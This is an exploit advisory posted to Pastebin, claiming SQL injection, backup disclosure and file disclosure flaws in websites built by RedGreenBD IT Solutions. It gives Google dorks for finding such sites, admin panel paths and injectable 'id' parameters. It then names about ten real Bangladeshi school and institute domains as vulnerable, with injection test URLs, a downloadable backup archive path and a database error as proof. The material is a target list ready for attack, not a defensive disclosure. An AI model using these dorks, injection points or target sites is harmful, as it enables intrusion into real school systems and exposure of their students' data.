API tools faq
paste
KingSkrupellos

RedGreenBD IT Solutions SQL Injection - Backup and File Disc

KingSkrupellos
Jan 5th, 2019
310
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.35 KB | None | 0 0
raw download clone embed print report
  1. ###################################################################
  2.  
  3. # Exploit Title : RedGreenBD IT Solutions SQL Injection - Backup and File Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 05/01/2019
  7. # Vendor Homepage : redgreenbd.com
  8. # Vendor Version : PHP 5.4.45 - LiteSpeed Server - jQuery 1.3.2
  9. # Software Download Link : N/A
  10. # Software : Priced => See Here => redgreenbd.com/pd.php
  11. # Tested On : Windows and Linux
  12. # Category : WebApps
  13. # Exploit Risk : High
  14. # Google Dorks : intext:''Design & Developed by : RedGreenBD IT Solutions''
  15. intext:''Designed by RedGreenBD IT Solutions''
  16. intext:''Developed by RedGreenBD ITS"
  17. # Vulnerability Type : CWE-89 [ Improper Neutralization of
  18. Special Elements used in an SQL Command ('SQL Injection') ]
  19. CWE-200: Information Exposure
  20. CWE-538: File and Directory Information Exposure
  21. # Cyberizm Exploit Reference Link :
  22. cyberizm.org/cyberizm-redgreenbd-it-solutions-multiple-vulnerabilities.html
  23.  
  24. ###################################################################
  25.  
  26. # Admin Panel Login Path / Student-Teacher-Guardian Panel Path =>
  27. ***********************************************************
  28.  
  29. /index.php?q=login-form
  30. /?q=login
  31. /?q=student-login
  32. /wadmin
  33.  
  34. # SQL Injection Exploit :
  35. **********************
  36.  
  37. /?q=newsDetail&id=[SQL Injection]
  38.  
  39. /?q=news-detail&id=[SQL Injection]
  40.  
  41. /?q=notice-detail&id=[SQL Injection]
  42.  
  43. /?q=page-detail&id=[SQL Injection]
  44.  
  45. /?q=home-block&id=[SQL Injection]
  46.  
  47. /index.php?q=news-detail&id=[SQL Injection]
  48.  
  49. # Backup Disclosure Exploit [ Example ] =>
  50. ***************************************
  51.  
  52. Look at this /uploads/ folder for backup files.
  53.  
  54. /uploads/uploads_backup_[DAY]_[MONTH]_[YEAR].zip
  55.  
  56. /uploads/uploads_backup_18_12_18.zip
  57.  
  58. /uploads/uploads_backup_21_11_18.zip
  59.  
  60. # Arbitrary File Disclosure =>
  61. **************************
  62.  
  63. Look at this folder.
  64.  
  65. /uploads/....
  66.  
  67. /uploads/booklist/ => PDF Files here
  68. /uploads/mnews/ => PDF Files here
  69. /uploads/result/ => PDF Files here
  70. /uploads/routine3/ => PDF Files here
  71. /uploads/syllabus/ => PDF Files here
  72.  
  73. ###################################################################
  74.  
  75. # Example Vulnerable Sites =>
  76.  
  77. Note => Bangladesh Education Sites are vulnerable for this security issue.
  78.  
  79. (104.152.168.23) => There are 899 domains hosted on this server.
  80.  
  81. [+] dhankhalimuss.edu.bd/?q=newsDetail&id=13%27 =>
  82.  
  83. + Proof of Concept for SQL Injection => archive.vn/EJDgW
  84.  
  85. [+] cmpi.edu.bd/?q=newsDetail&id=13%27
  86.  
  87. [+] panchjuniadss.edu.bd/?q=newsDetail&id=13%27
  88.  
  89. [+] ths.edu.bd/?q=newsDetail&id=13%27
  90.  
  91. [+] rmss.edu.bd/?q=newsDetail&id=13%27
  92.  
  93. [+] pakhimarapvss.edu.bd/?q=notice-detail&id=3%27
  94.  
  95. [+] tsbghs.edu.bd/?q=page-detail&id=3%27
  96.  
  97. [+] nipi.edu.bd/?q=newsDetail&id=13%27
  98.  
  99. [+] cppi.edu.bd/?q=newsDetail&id=13%27
  100.  
  101. [+] bsidhaka.edu.bd/?q=newsDetail&id=13%27
  102.  
  103. [+] bsidhaka.edu.bd/uploads/uploads_backup_21_11_18.zip
  104.  
  105. ###################################################################
  106.  
  107. # SQL Database Error :
  108.  
  109. You have an error in your SQL syntax; check the manual that corresponds
  110.  
  111. to your MariaDB server version for the right syntax to use near ''13''' at line 1
  112.  
  113. ###################################################################
  114.  
  115. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  116.  
  117. ###################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!